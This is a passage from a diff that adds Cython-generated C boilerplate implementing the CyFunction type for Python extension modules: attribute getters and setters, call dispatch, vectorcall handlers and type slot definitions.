CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = 